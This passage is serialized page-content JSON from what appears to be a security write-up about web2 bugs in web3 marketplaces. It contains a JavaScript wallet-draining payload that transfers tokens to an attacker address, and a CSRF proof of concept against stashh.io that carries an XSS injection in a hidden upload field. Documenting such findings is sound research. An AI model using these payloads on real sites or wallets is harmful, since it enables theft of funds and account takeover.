},\n",{"type":22,"tag":101,"props":35735,"children":35736},{"class":103,"line":7714},[35737],{"type":22,"tag":101,"props":35738,"children":35739},{"style":120},[35740],{"type":27,"value":35691},{"type":22,"tag":101,"props":35742,"children":35743},{"class":103,"line":7723},[35744,35748,35753],{"type":22,"tag":101,"props":35745,"children":35746},{"style":126},[35747],{"type":27,"value":35699},{"type":22,"tag":101,"props":35749,"children":35750},{"style":6476},[35751],{"type":27,"value":35752}," '_value'",{"type":22,"tag":101,"props":35754,"children":35755},{"style":120},[35756],{"type":27,"value":179},{"type":22,"tag":101,"props":35758,"children":35759},{"class":103,"line":7791},[35760,35764,35769],{"type":22,"tag":101,"props":35761,"children":35762},{"style":126},[35763],{"type":27,"value":35716},{"type":22,"tag":101,"props":35765,"children":35766},{"style":6476},[35767],{"type":27,"value":35768}," 'uint256'",{"type":22,"tag":101,"props":35770,"children":35771},{"style":120},[35772],{"type":27,"value":179},{"type":22,"tag":101,"props":35774,"children":35775},{"class":103,"line":7799},[35776],{"type":22,"tag":101,"props":35777,"children":35778},{"style":120},[35779],{"type":27,"value":35733},{"type":22,"tag":101,"props":35781,"children":35782},{"class":103,"line":7829},[35783],{"type":22,"tag":101,"props":35784,"children":35785},{"style":120},[35786],{"type":27,"value":35787}," ],\n",{"type":22,"tag":101,"props":35789,"children":35790},{"class":103,"line":7837},[35791,35796,35801],{"type":22,"tag":101,"props":35792,"children":35793},{"style":126},[35794],{"type":27,"value":35795}," name:",{"type":22,"tag":101,"props":35797,"children":35798},{"style":6476},[35799],{"type":27,"value":35800}," 'transfer'",{"type":22,"tag":101,"props":35802,"children":35803},{"style":120},[35804],{"type":27,"value":179},{"type":22,"tag":101,"props":35806,"children":35807},{"class":103,"line":7868},[35808,35813],{"type":22,"tag":101,"props":35809,"children":35810},{"style":126},[35811],{"type":27,"value":35812}," outputs:",{"type":22,"tag":101,"props":35814,"children":35815},{"style":120},[35816],{"type":27,"value":29619},{"type":22,"tag":101,"props":35818,"children":35819},{"class":103,"line":7876},[35820],{"type":22,"tag":101,"props":35821,"children":35822},{"style":120},[35823],{"type":27,"value":35691},{"type":22,"tag":101,"props":35825,"children":35826},{"class":103,"line":7936},[35827,35831,35836],{"type":22,"tag":101,"props":35828,"children":35829},{"style":126},[35830],{"type":27,"value":35699},{"type":22,"tag":101,"props":35832,"children":35833},{"style":6476},[35834],{"type":27,"value":35835}," ''",{"type":22,"tag":101,"props":35837,"children":35838},{"style":120},[35839],{"type":27,"value":179},{"type":22,"tag":101,"props":35841,"children":35842},{"class":103,"line":13054},[35843,35847,35852],{"type":22,"tag":101,"props":35844,"children":35845},{"style":126},[35846],{"type":27,"value":35716},{"type":22,"tag":101,"props":35848,"children":35849},{"style":6476},[35850],{"type":27,"value":35851}," 'bool'",{"type":22,"tag":101,"props":35853,"children":35854},{"style":120},[35855],{"type":27,"value":179},{"type":22,"tag":101,"props":35857,"children":35858},{"class":103,"line":13072},[35859],{"type":22,"tag":101,"props":35860,"children":35861},{"style":120},[35862],{"type":27,"value":35733},{"type":22,"tag":101,"props":35864,"children":35865},{"class":103,"line":13117},[35866],{"type":22,"tag":101,"props":35867,"children":35868},{"style":120},[35869],{"type":27,"value":35787},{"type":22,"tag":101,"props":35871,"children":35872},{"class":103,"line":13223},[35873,35878,35883],{"type":22,"tag":101,"props":35874,"children":35875},{"style":126},[35876],{"type":27,"value":35877}," type:",{"type":22,"tag":101,"props":35879,"children":35880},{"style":6476},[35881],{"type":27,"value":35882}," 'function'",{"type":22,"tag":101,"props":35884,"children":35885},{"style":120},[35886],{"type":27,"value":179},{"type":22,"tag":101,"props":35888,"children":35889},{"class":103,"line":27496},[35890],{"type":22,"tag":101,"props":35891,"children":35892},{"style":120},[35893],{"type":27,"value":29371},{"type":22,"tag":101,"props":35895,"children":35896},{"class":103,"line":27531},[35897],{"type":22,"tag":101,"props":35898,"children":35899},{"style":120},[35900],{"type":27,"value":35901}," ];\n",{"type":22,"tag":101,"props":35903,"children":35904},{"class":103,"line":27539},[35905],{"type":22,"tag":101,"props":35906,"children":35907},{"emptyLinePlaceholder":15},[35908],{"type":27,"value":1581},{"type":22,"tag":101,"props":35910,"children":35911},{"class":103,"line":27547},[35912,35916,35921,35925,35930,35935,35939,35944,35948,35952],{"type":22,"tag":101,"props":35913,"children":35914},{"style":108},[35915],{"type":27,"value":35543},{"type":22,"tag":101,"props":35917,"children":35918},{"style":126},[35919],{"type":27,"value":35920}," web3",{"type":22,"tag":101,"props":35922,"children":35923},{"style":166},[35924],{"type":27,"value":960},{"type":22,"tag":101,"props":35926,"children":35927},{"style":108},[35928],{"type":27,"value":35929}," new",{"type":22,"tag":101,"props":35931,"children":35932},{"style":926},[35933],{"type":27,"value":35934}," Web3",{"type":22,"tag":101,"props":35936,"children":35937},{"style":120},[35938],{"type":27,"value":980},{"type":22,"tag":101,"props":35940,"children":35941},{"style":126},[35942],{"type":27,"value":35943},"window",{"type":22,"tag":101,"props":35945,"children":35946},{"style":120},[35947],{"type":27,"value":231},{"type":22,"tag":101,"props":35949,"children":35950},{"style":126},[35951],{"type":27,"value":35413},{"type":22,"tag":101,"props":35953,"children":35954},{"style":120},[35955],{"type":27,"value":994},{"type":22,"tag":101,"props":35957,"children":35958},{"class":103,"line":27556},[35959],{"type":22,"tag":101,"props":35960,"children":35961},{"emptyLinePlaceholder":15},[35962],{"type":27,"value":1581},{"type":22,"tag":101,"props":35964,"children":35965},{"class":103,"line":27598},[35966,35970,35975,35979,35983,35987,35991,35996,36000,36005,36009,36014,36018,36023],{"type":22,"tag":101,"props":35967,"children":35968},{"style":108},[35969],{"type":27,"value":35543},{"type":22,"tag":101,"props":35971,"children":35972},{"style":126},[35973],{"type":27,"value":35974}," tokenContract",{"type":22,"tag":101,"props":35976,"children":35977},{"style":166},[35978],{"type":27,"value":960},{"type":22,"tag":101,"props":35980,"children":35981},{"style":108},[35982],{"type":27,"value":35929},{"type":22,"tag":101,"props":35984,"children":35985},{"style":126},[35986],{"type":27,"value":35920},{"type":22,"tag":101,"props":35988,"children":35989},{"style":120},[35990],{"type":27,"value":231},{"type":22,"tag":101,"props":35992,"children":35993},{"style":126},[35994],{"type":27,"value":35995},"eth",{"type":22,"tag":101,"props":35997,"children":35998},{"style":120},[35999],{"type":27,"value":231},{"type":22,"tag":101,"props":36001,"children":36002},{"style":926},[36003],{"type":27,"value":36004},"Contract",{"type":22,"tag":101,"props":36006,"children":36007},{"style":120},[36008],{"type":27,"value":980},{"type":22,"tag":101,"props":36010,"children":36011},{"style":126},[36012],{"type":27,"value":36013},"tokenAbi",{"type":22,"tag":101,"props":36015,"children":36016},{"style":120},[36017],{"type":27,"value":758},{"type":22,"tag":101,"props":36019,"children":36020},{"style":126},[36021],{"type":27,"value":36022},"contractAddress",{"type":22,"tag":101,"props":36024,"children":36025},{"style":120},[36026],{"type":27,"value":994},{"type":22,"tag":101,"props":36028,"children":36029},{"class":103,"line":27631},[36030],{"type":22,"tag":101,"props":36031,"children":36032},{"emptyLinePlaceholder":15},[36033],{"type":27,"value":1581},{"type":22,"tag":101,"props":36035,"children":36036},{"class":103,"line":27639},[36037,36041,36046,36050],{"type":22,"tag":101,"props":36038,"children":36039},{"style":108},[36040],{"type":27,"value":35543},{"type":22,"tag":101,"props":36042,"children":36043},{"style":126},[36044],{"type":27,"value":36045}," transactionObject",{"type":22,"tag":101,"props":36047,"children":36048},{"style":166},[36049],{"type":27,"value":960},{"type":22,"tag":101,"props":36051,"children":36052},{"style":120},[36053],{"type":27,"value":154},{"type":22,"tag":101,"props":36055,"children":36056},{"class":103,"line":27647},[36057,36062,36066],{"type":22,"tag":101,"props":36058,"children":36059},{"style":126},[36060],{"type":27,"value":36061}," from:",{"type":22,"tag":101,"props":36063,"children":36064},{"style":126},[36065],{"type":27,"value":35548},{"type":22,"tag":101,"props":36067,"children":36068},{"style":120},[36069],{"type":27,"value":179},{"type":22,"tag":101,"props":36071,"children":36072},{"class":103,"line":27656},[36073,36078,36082],{"type":22,"tag":101,"props":36074,"children":36075},{"style":126},[36076],{"type":27,"value":36077}," to:",{"type":22,"tag":101,"props":36079,"children":36080},{"style":126},[36081],{"type":27,"value":35607},{"type":22,"tag":101,"props":36083,"children":36084},{"style":120},[36085],{"type":27,"value":179},{"type":22,"tag":101,"props":36087,"children":36088},{"class":103,"line":27732},[36089,36094,36098,36102],{"type":22,"tag":101,"props":36090,"children":36091},{"style":126},[36092],{"type":27,"value":36093}," data:",{"type":22,"tag":101,"props":36095,"children":36096},{"style":126},[36097],{"type":27,"value":35974},{"type":22,"tag":101,"props":36099,"children":36100},{"style":120},[36101],{"type":27,"value":231},{"type":22,"tag":101,"props":36103,"children":36104},{"style":126},[36105],{"type":27,"value":36106},"methods\n",{"type":22,"tag":101,"props":36108,"children":36109},{"class":103,"line":27765},[36110,36115,36120,36124,36129,36133,36138,36142,36147,36151,36156,36160,36165,36169,36174],{"type":22,"tag":101,"props":36111,"children":36112},{"style":120},[36113],{"type":27,"value":36114}," .",{"type":22,"tag":101,"props":36116,"children":36117},{"style":926},[36118],{"type":27,"value":36119},"transfer",{"type":22,"tag":101,"props":36121,"children":36122},{"style":120},[36123],{"type":27,"value":980},{"type":22,"tag":101,"props":36125,"children":36126},{"style":126},[36127],{"type":27,"value":36128},"attackerAddress",{"type":22,"tag":101,"props":36130,"children":36131},{"style":120},[36132],{"type":27,"value":758},{"type":22,"tag":101,"props":36134,"children":36135},{"style":126},[36136],{"type":27,"value":36137},"web3",{"type":22,"tag":101,"props":36139,"children":36140},{"style":120},[36141],{"type":27,"value":231},{"type":22,"tag":101,"props":36143,"children":36144},{"style":126},[36145],{"type":27,"value":36146},"utils",{"type":22,"tag":101,"props":36148,"children":36149},{"style":120},[36150],{"type":27,"value":231},{"type":22,"tag":101,"props":36152,"children":36153},{"style":926},[36154],{"type":27,"value":36155},"toWei",{"type":22,"tag":101,"props":36157,"children":36158},{"style":120},[36159],{"type":27,"value":980},{"type":22,"tag":101,"props":36161,"children":36162},{"style":6476},[36163],{"type":27,"value":36164},"'100000000'",{"type":22,"tag":101,"props":36166,"children":36167},{"style":120},[36168],{"type":27,"value":758},{"type":22,"tag":101,"props":36170,"children":36171},{"style":6476},[36172],{"type":27,"value":36173},"'ether'",{"type":22,"tag":101,"props":36175,"children":36176},{"style":120},[36177],{"type":27,"value":23703},{"type":22,"tag":101,"props":36179,"children":36180},{"class":103,"line":27773},[36181,36185,36190],{"type":22,"tag":101,"props":36182,"children":36183},{"style":120},[36184],{"type":27,"value":36114},{"type":22,"tag":101,"props":36186,"children":36187},{"style":926},[36188],{"type":27,"value":36189},"encodeABI",{"type":22,"tag":101,"props":36191,"children":36192},{"style":120},[36193],{"type":27,"value":7526},{"type":22,"tag":101,"props":36195,"children":36196},{"class":103,"line":27781},[36197],{"type":22,"tag":101,"props":36198,"children":36199},{"style":120},[36200],{"type":27,"value":12927},{"type":22,"tag":101,"props":36202,"children":36203},{"class":103,"line":27818},[36204],{"type":22,"tag":101,"props":36205,"children":36206},{"emptyLinePlaceholder":15},[36207],{"type":27,"value":1581},{"type":22,"tag":101,"props":36209,"children":36210},{"class":103,"line":27831},[36211,36216,36220,36224,36228,36233,36237,36242],{"type":22,"tag":101,"props":36212,"children":36213},{"style":126},[36214],{"type":27,"value":36215}," web3",{"type":22,"tag":101,"props":36217,"children":36218},{"style":120},[36219],{"type":27,"value":231},{"type":22,"tag":101,"props":36221,"children":36222},{"style":126},[36223],{"type":27,"value":35995},{"type":22,"tag":101,"props":36225,"children":36226},{"style":120},[36227],{"type":27,"value":231},{"type":22,"tag":101,"props":36229,"children":36230},{"style":926},[36231],{"type":27,"value":36232},"sendTransaction",{"type":22,"tag":101,"props":36234,"children":36235},{"style":120},[36236],{"type":27,"value":980},{"type":22,"tag":101,"props":36238,"children":36239},{"style":126},[36240],{"type":27,"value":36241},"transactionObject",{"type":22,"tag":101,"props":36243,"children":36244},{"style":120},[36245],{"type":27,"value":994},{"type":22,"tag":101,"props":36247,"children":36248},{"class":103,"line":27844},[36249],{"type":22,"tag":101,"props":36250,"children":36251},{"style":120},[36252],{"type":27,"value":36253}," });\n",{"type":22,"tag":101,"props":36255,"children":36256},{"class":103,"line":27857},[36257],{"type":22,"tag":101,"props":36258,"children":36259},{"style":120},[36260],{"type":27,"value":9908},{"type":22,"tag":101,"props":36262,"children":36263},{"class":103,"line":27911},[36264],{"type":22,"tag":101,"props":36265,"children":36266},{"style":120},[36267],{"type":27,"value":188},{"type":22,"tag":101,"props":36269,"children":36270},{"class":103,"line":27920},[36271],{"type":22,"tag":101,"props":36272,"children":36273},{"emptyLinePlaceholder":15},[36274],{"type":27,"value":1581},{"type":22,"tag":101,"props":36276,"children":36278},{"class":103,"line":36277},51,[36279,36283,36287,36292],{"type":22,"tag":101,"props":36280,"children":36281},{"style":108},[36282],{"type":27,"value":23474},{"type":22,"tag":101,"props":36284,"children":36285},{"style":120},[36286],{"type":27,"value":980},{"type":22,"tag":101,"props":36288,"children":36289},{"style":6476},[36290],{"type":27,"value":36291},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":22,"tag":101,"props":36293,"children":36294},{"style":120},[36295],{"type":27,"value":994},{"type":22,"tag":101,"props":36297,"children":36299},{"class":103,"line":36298},52,[36300,36305,36309,36313,36317,36322],{"type":22,"tag":101,"props":36301,"children":36302},{"style":926},[36303],{"type":27,"value":36304},"setTimeout",{"type":22,"tag":101,"props":36306,"children":36307},{"style":120},[36308],{"type":27,"value":980},{"type":22,"tag":101,"props":36310,"children":36311},{"style":126},[36312],{"type":27,"value":35489},{"type":22,"tag":101,"props":36314,"children":36315},{"style":120},[36316],{"type":27,"value":758},{"type":22,"tag":101,"props":36318,"children":36319},{"style":1544},[36320],{"type":27,"value":36321},"1e3",{"type":22,"tag":101,"props":36323,"children":36324},{"style":120},[36325],{"type":27,"value":994},{"type":22,"tag":23,"props":36327,"children":36328},{},[36329,36334],{"type":22,"tag":9370,"props":36330,"children":36331},{},[36332],{"type":27,"value":36333},"CSRF & XSS",{"type":27,"value":36335},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":22,"tag":23,"props":36337,"children":36338},{},[36339,36341,36346],{"type":27,"value":36340},"Our attention was drawn to ",{"type":22,"tag":80,"props":36342,"children":36344},{"href":35276,"rel":36343},[84],[36345],{"type":27,"value":35280},{"type":27,"value":36347},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":22,"tag":23,"props":36349,"children":36350},{},[36351],{"type":22,"tag":7959,"props":36352,"children":36354},{"alt":7,"src":36353},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":22,"tag":23,"props":36356,"children":36357},{},[36358],{"type":27,"value":36359},"and here there is the code:",{"type":22,"tag":91,"props":36361,"children":36363},{"className":35359,"code":36362,"language":35361,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[36364],{"type":22,"tag":30,"props":36365,"children":36366},{"__ignoreMap":7},[36367,36384,36401,36435,36521,36578,36776,36817,36833,36849,36856,36871,36878,36890,36949,36956,37018,37047,37085,37092,37130,37143,37150,37165],{"type":22,"tag":101,"props":36368,"children":36369},{"class":103,"line":104},[36370,36375,36380],{"type":22,"tag":101,"props":36371,"children":36373},{"style":36372},"--shiki-default:#808080",[36374],{"type":27,"value":123},{"type":22,"tag":101,"props":36376,"children":36377},{"style":108},[36378],{"type":27,"value":36379},"html",{"type":22,"tag":101,"props":36381,"children":36382},{"style":36372},[36383],{"type":27,"value":527},{"type":22,"tag":101,"props":36385,"children":36386},{"class":103,"line":157},[36387,36392,36397],{"type":22,"tag":101,"props":36388,"children":36389},{"style":36372},[36390],{"type":27,"value":36391}," \u003C",{"type":22,"tag":101,"props":36393,"children":36394},{"style":108},[36395],{"type":27,"value":36396},"body",{"type":22,"tag":101,"props":36398,"children":36399},{"style":36372},[36400],{"type":27,"value":527},{"type":22,"tag":101,"props":36402,"children":36403},{"class":103,"line":182},[36404,36408,36413,36417,36422,36427,36431],{"type":22,"tag":101,"props":36405,"children":36406},{"style":36372},[36407],{"type":27,"value":36391},{"type":22,"tag":101,"props":36409,"children":36410},{"style":108},[36411],{"type":27,"value":36412},"script",{"type":22,"tag":101,"props":36414,"children":36415},{"style":36372},[36416],{"type":27,"value":14467},{"type":22,"tag":101,"props":36418,"children":36419},{"style":120},[36420],{"type":27,"value":36421},"history.pushState('', '', '/')",{"type":22,"tag":101,"props":36423,"children":36424},{"style":36372},[36425],{"type":27,"value":36426},"\u003C/",{"type":22,"tag":101,"props":36428,"children":36429},{"style":108},[36430],{"type":27,"value":36412},{"type":22,"tag":101,"props":36432,"children":36433},{"style":36372},[36434],{"type":27,"value":527},{"type":22,"tag":101,"props":36436,"children":36437},{"class":103,"line":367},[36438,36443,36448,36453,36457,36462,36467,36471,36476,36480,36484,36489,36494,36498,36503,36508,36512,36517],{"type":22,"tag":101,"props":36439,"children":36440},{"style":36372},[36441],{"type":27,"value":36442}," \u003C",{"type":22,"tag":101,"props":36444,"children":36445},{"style":108},[36446],{"type":27,"value":36447},"form",{"type":22,"tag":101,"props":36449,"children":36450},{"style":126},[36451],{"type":27,"value":36452}," id",{"type":22,"tag":101,"props":36454,"children":36455},{"style":166},[36456],{"type":27,"value":1511},{"type":22,"tag":101,"props":36458,"children":36459},{"style":6476},[36460],{"type":27,"value":36461},"\"form123\"",{"type":22,"tag":101,"props":36463,"children":36464},{"style":126},[36465],{"type":27,"value":36466}," action",{"type":22,"tag":101,"props":36468,"children":36469},{"style":166},[36470],{"type":27,"value":1511},{"type":22,"tag":101,"props":36472,"children":36473},{"style":6476},[36474],{"type":27,"value":36475},"\"https://stashh.io/upload_asset\"",{"type":22,"tag":101,"props":36477,"children":36478},{"style":126},[36479],{"type":27,"value":21107},{"type":22,"tag":101,"props":36481,"children":36482},{"style":166},[36483],{"type":27,"value":1511},{"type":22,"tag":101,"props":36485,"children":36486},{"style":6476},[36487],{"type":27,"value":36488},"\"POST\"",{"type":22,"tag":101,"props":36490,"children":36491},{"style":126},[36492],{"type":27,"value":36493}," enctype",{"type":22,"tag":101,"props":36495,"children":36496},{"style":166},[36497],{"type":27,"value":1511},{"type":22,"tag":101,"props":36499,"children":36500},{"style":6476},[36501],{"type":27,"value":36502},"\"multipart/form-data\"",{"type":22,"tag":101,"props":36504,"children":36505},{"style":126},[36506],{"type":27,"value":36507}," value",{"type":22,"tag":101,"props":36509,"children":36510},{"style":166},[36511],{"type":27,"value":1511},{"type":22,"tag":101,"props":36513,"children":36514},{"style":6476},[36515],{"type":27,"value":36516},"\"asd\"",{"type":22,"tag":101,"props":36518,"children":36519},{"style":36372},[36520],{"type":27,"value":527},{"type":22,"tag":101,"props":36522,"children":36523},{"class":103,"line":398},[36524,36529,36533,36538,36542,36547,36552,36556,36561,36565,36569,36574],{"type":22,"tag":101,"props":36525,"children":36526},{"style":36372},[36527],{"type":27,"value":36528}," \u003C",{"type":22,"tag":101,"props":36530,"children":36531},{"style":108},[36532],{"type":27,"value":12376},{"type":22,"tag":101,"props":36534,"children":36535},{"style":126},[36536],{"type":27,"value":36537}," type",{"type":22,"tag":101,"props":36539,"children":36540},{"style":166},[36541],{"type":27,"value":1511},{"type":22,"tag":101,"props":36543,"children":36544},{"style":6476},[36545],{"type":27,"value":36546},"\"file\"",{"type":22,"tag":101,"props":36548,"children":36549},{"style":126},[36550],{"type":27,"value":36551}," name",{"type":22,"tag":101,"props":36553,"children":36554},{"style":166},[36555],{"type":27,"value":1511},{"type":22,"tag":101,"props":36557,"children":36558},{"style":6476},[36559],{"type":27,"value":36560},"\"data\"",{"type":22,"tag":101,"props":36562,"children":36563},{"style":126},[36564],{"type":27,"value":36452},{"type":22,"tag":101,"props":36566,"children":36567},{"style":166},[36568],{"type":27,"value":1511},{"type":22,"tag":101,"props":36570,"children":36571},{"style":6476},[36572],{"type":27,"value":36573},"\"file123\"",{"type":22,"tag":101,"props":36575,"children":36576},{"style":36372},[36577],{"type":27,"value":527},{"type":22,"tag":101,"props":36579,"children":36580},{"class":103,"line":428},[36581,36586,36590,36594,36598,36603,36607,36611,36616,36620,36624,36628,36633,36638,36643,36648,36653,36657,36662,36667,36672,36676,36681,36686,36690,36695,36700,36705,36710,36715,36720,36724,36728,36733,36738,36743,36748,36753,36757,36762,36767,36771],{"type":22,"tag":101,"props":36582,"children":36583},{"style":36372},[36584],{"type":27,"value":36585}," \u003C",{"type":22,"tag":101,"props":36587,"children":36588},{"style":108},[36589],{"type":27,"value":12376},{"type":22,"tag":101,"props":36591,"children":36592},{"style":126},[36593],{"type":27,"value":36537},{"type":22,"tag":101,"props":36595,"children":36596},{"style":166},[36597],{"type":27,"value":1511},{"type":22,"tag":101,"props":36599,"children":36600},{"style":6476},[36601],{"type":27,"value":36602},"\"hidden\"",{"type":22,"tag":101,"props":36604,"children":36605},{"style":126},[36606],{"type":27,"value":36551},{"type":22,"tag":101,"props":36608,"children":36609},{"style":166},[36610],{"type":27,"value":1511},{"type":22,"tag":101,"props":36612,"children":36613},{"style":6476},[36614],{"type":27,"value":36615},"\"config\"",{"type":22,"tag":101,"props":36617,"children":36618},{"style":126},[36619],{"type":27,"value":36507},{"type":22,"tag":101,"props":36621,"children":36622},{"style":166},[36623],{"type":27,"value":1511},{"type":22,"tag":101,"props":36625,"children":36626},{"style":6476},[36627],{"type":27,"value":24051},{"type":22,"tag":101,"props":36629,"children":36630},{"style":108},[36631],{"type":27,"value":36632},"{"",{"type":22,"tag":101,"props":36634,"children":36635},{"style":6476},[36636],{"type":27,"value":36637},"address",{"type":22,"tag":101,"props":36639,"children":36640},{"style":108},[36641],{"type":27,"value":36642},"":"",{"type":22,"tag":101,"props":36644,"children":36645},{"style":6476},[36646],{"type":27,"value":36647},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":22,"tag":101,"props":36649,"children":36650},{"style":108},[36651],{"type":27,"value":36652},"<",{"type":22,"tag":101,"props":36654,"children":36655},{"style":6476},[36656],{"type":27,"value":7959},{"type":22,"tag":101,"props":36658,"children":36659},{"style":108},[36660],{"type":27,"value":36661},"/",{"type":22,"tag":101,"props":36663,"children":36664},{"style":6476},[36665],{"type":27,"value":36666},"src",{"type":22,"tag":101,"props":36668,"children":36669},{"style":108},[36670],{"type":27,"value":36671},"=",{"type":22,"tag":101,"props":36673,"children":36674},{"style":6476},[36675],{"type":27,"value":23266},{"type":22,"tag":101,"props":36677,"children":36678},{"style":108},[36679],{"type":27,"value":36680}," ",{"type":22,"tag":101,"props":36682,"children":36683},{"style":6476},[36684],{"type":27,"value":36685},"onerror",{"type":22,"tag":101,"props":36687,"children":36688},{"style":108},[36689],{"type":27,"value":36671},{"type":22,"tag":101,"props":36691,"children":36692},{"style":6476},[36693],{"type":27,"value":36694},"alert",{"type":22,"tag":101,"props":36696,"children":36697},{"style":108},[36698],{"type":27,"value":36699},"(",{"type":22,"tag":101,"props":36701,"children":36702},{"style":6476},[36703],{"type":27,"value":36704},"document",{"type":22,"tag":101,"props":36706,"children":36707},{"style":108},[36708],{"type":27,"value":36709},".",{"type":22,"tag":101,"props":36711,"children":36712},{"style":6476},[36713],{"type":27,"value":36714},"domain",{"type":22,"tag":101,"props":36716,"children":36717},{"style":108},[36718],{"type":27,"value":36719},")>","",{"type":22,"tag":101,"props":36721,"children":36722},{"style":6476},[36723],{"type":27,"value":4172},{"type":22,"tag":101,"props":36725,"children":36726},{"style":108},[36727],{"type":27,"value":36642},{"type":22,"tag":101,"props":36729,"children":36730},{"style":6476},[36731],{"type":27,"value":36732},"profile",{"type":22,"tag":101,"props":36734,"children":36735},{"style":108},[36736],{"type":27,"value":36737},"-",{"type":22,"tag":101,"props":36739,"children":36740},{"style":6476},[36741],{"type":27,"value":36742},"assets",{"type":22,"tag":101,"props":36744,"children":36745},{"style":108},[36746],{"type":27,"value":36747},"","",{"type":22,"tag":101,"props":36749,"children":36750},{"style":6476},[36751],{"type":27,"value":36752},"type",{"type":22,"tag":101,"props":36754,"children":36755},{"style":108},[36756],{"type":27,"value":36642},{"type":22,"tag":101,"props":36758,"children":36759},{"style":6476},[36760],{"type":27,"value":36761},"icon",{"type":22,"tag":101,"props":36763,"children":36764},{"style":108},[36765],{"type":27,"value":36766},""}",{"type":22,"tag":101,"props":36768,"children":36769},{"style":6476},[36770],{"type":27,"value":24051},{"type":22,"tag":101,"props":36772,"children":36773},{"style":36372},[36774],{"type":27,"value":36775}," />\n",{"type":22,"tag":101,"props":36777,"children":36778},{"class":103,"line":997},[36779,36783,36787,36791,36795,36800,36804,36808,36813],{"type":22,"tag":101,"props":36780,"children":36781},{"style":36372},[36782],{"type":27,"value":36585},{"type":22,"tag":101,"props":36784,"children":36785},{"style":108},[36786],{"type":27,"value":12376},{"type":22,"tag":101,"props":36788,"children":36789},{"style":126},[36790],{"type":27,"value":36537},{"type":22,"tag":101,"props":36792,"children":36793},{"style":166},[36794],{"type":27,"value":1511},{"type":22,"tag":101,"props":36796,"children":36797},{"style":6476},[36798],{"type":27,"value":36799},"\"submit\"",{"type":22,"tag":101,"props":36801,"children":36802},{"style":126},[36803],{"type":27,"value":36507},{"type":22,"tag":101,"props":36805,"children":36806},{"style":166},[36807],{"type":27,"value":1511},{"type":22,"tag":101,"props":36809,"children":36810},{"style":6476},[36811],{"type":27,"value":36812},"\"Submit request\"",{"type":22,"tag":101,"props":36814,"children":36815},{"style":36372},[36816],{"type":27,"value":36775},{"type":22,"tag":101,"props":36818,"children":36819},{"class":103,"line":1032},[36820,36825,36829],{"type":22,"tag":101,"props":36821,"children":36822},{"style":36372},[36823],{"type":27,"value":36824}," \u003C/",{"type":22,"tag":101,"props":36826,"children":36827},{"style":108},[36828],{"type":27,"value":36447},{"type":22,"tag":101,"props":36830,"children":36831},{"style":36372},[36832],{"type":27,"value":527},{"type":22,"tag":101,"props":36834,"children":36835},{"class":103,"line":1063},[36836,36841,36845],{"type":22,"tag":101,"props":36837,"children":36838},{"style":36372},[36839],{"type":27,"value":36840}," \u003C/",{"type":22,"tag":101,"props":36842,"children":36843},{"style":108},[36844],{"type":27,"value":36396},{"type":22,"tag":101,"props":36846,"children":36847},{"style":36372},[36848],{"type":27,"value":527},{"type":22,"tag":101,"props":36850,"children":36851},{"class":103,"line":1071},[36852],{"type":22,"tag":101,"props":36853,"children":36854},{"emptyLinePlaceholder":15},[36855],{"type":27,"value":1581},{"type":22,"tag":101,"props":36857,"children":36858},{"class":103,"line":1110},[36859,36863,36867],{"type":22,"tag":101,"props":36860,"children":36861},{"style":36372},[36862],{"type":27,"value":36391},{"type":22,"tag":101,"props":36864,"children":36865},{"style":108},[36866],{"type":27,"value":36412},{"type":22,"tag":101,"props":36868,"children":36869},{"style":36372},[36870],{"type":27,"value":527},{"type":22,"tag":101,"props":36872,"children":36873},{"class":103,"line":1118},[36874],{"type":22,"tag":101,"props":36875,"children":36876},{"emptyLinePlaceholder":15},[36877],{"type":27,"value":1581},{"type":22,"tag":101,"props":36879,"children":36880},{"class":103,"line":1158},[36881,36886],{"type":22,"tag":101,"props":36882,"children":36883},{"style":120},[36884],{"type":27,"value":36885}," (async ()=>",{"type":22,"tag":101,"props":36887,"children":36888},{"style":108},[36889],{"type":27,"value":14886},{"type":22,"tag":101,"props":36891,"children":36892},{"class":103,"line":1166},[36893,36898,36903,36908,36913,36917,36921,36926,36930,36935,36940,36945],{"type":22,"tag":101,"props":36894,"children":36895},{"style":126},[36896],{"type":27,"value":36897}," const",{"type":22,"tag":101,"props":36899,"children":36900},{"style":126},[36901],{"type":27,"value":36902}," blob",{"type":22,"tag":101,"props":36904,"children":36905},{"style":166},[36906],{"type":27,"value":36907}," = ",{"type":22,"tag":101,"props":36909,"children":36910},{"style":3595},[36911],{"type":27,"value":36912},"await",{"type":22,"tag":101,"props":36914,"children":36915},{"style":166},[36916],{"type":27,"value":3603},{"type":22,"tag":101,"props":36918,"children":36919},{"style":3595},[36920],{"type":27,"value":36912},{"type":22,"tag":101,"props":36922,"children":36923},{"style":926},[36924],{"type":27,"value":36925}," 